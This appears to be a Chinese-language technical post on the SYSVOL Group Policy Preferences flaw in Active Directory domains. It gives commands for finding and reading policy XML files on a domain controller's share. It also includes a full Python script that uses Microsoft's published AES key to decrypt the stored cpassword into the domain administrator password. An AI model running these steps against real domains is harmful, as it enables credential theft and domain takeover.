域内漏洞和利用
域内漏洞和利用
共享目录 SYSVOL 与 GPP 漏洞
漏洞成因
域控默认开放sysvol共享目录,路径:C:\Windows\SYSVOL\sysvol\billow.com
域中管理大量计算机时,对机器资源的访问通常使用组策略下发,常规做法是将Administrator的密码保存在SYSVOL中的XML文件中,而域成员可以自由读取SYSVOL目录的数据,但是如果打补丁或者高版本的话,GPP服务是不能输入密码的了,这个漏洞也就相应不存在了。
XML中的密文通过AES256加密,密钥在微软官网公开,可以解密。
利用方式
- 在域控上组策略编辑器中下发定时任务,运行身份为域管
- 登录其他域成员主机,查询域控的SYSVOL共享目录
dir /s /a \\dc\SYSVOL\*.xml
- 使用type命令读取xml文件,cpassword即加密后的域管密码
type \\dc\SYSVOL\billow.com\Policies\{DEAC788C-7F80-4E3E-AEF8-8EE007AF4CB3}\Machine\Preferences\ScheduledTasks\ScheduledTasks.xml
- 解密得到域管密码
简单写了个解密脚本
import base64
from Crypto.Cipher import AES
from xml.etree import ElementTree
def get_decrypted_cpassword(cpassword):
mod = len(cpassword) % 4
if mod == 1:
cpassword = cpassword[:-1]
elif mod in (2, 3):
cpassword += "=" * (4 - mod)
base64_decoded = base64.b64decode(cpassword)
aes_object = AES.new(b'\x4e\x99\x06\xe8\xfc\xb6\x6c\xc9\xfa\xf4\x93\x10\x62\x0f\xfe\xe8\xf4\x96\xe8\x06\xcc\x05\x79\x90\x20\x9b\x09\xa4\x33\xb6\x6c\x1b', AES.MODE_CBC, b'\x00' * AES.block_size)
try:
decrypted = aes_object.decrypt(base64_decoded)
padding_length = decrypted[-1]
if padding_length <= AES.block_size:
return decrypted[:-padding_length].decode('utf-16')
return decrypted
except Exception as e:
print("\033[91m {}\033[00m" .format("错误:" + str(e)))
def main():
cpassword = input("密文:")
res = get_decrypted_cpassword(cpassword)
print("\033[92m {}\033[00m" .format("结果:" + str(res)))
if __name__ == '__main__':
main()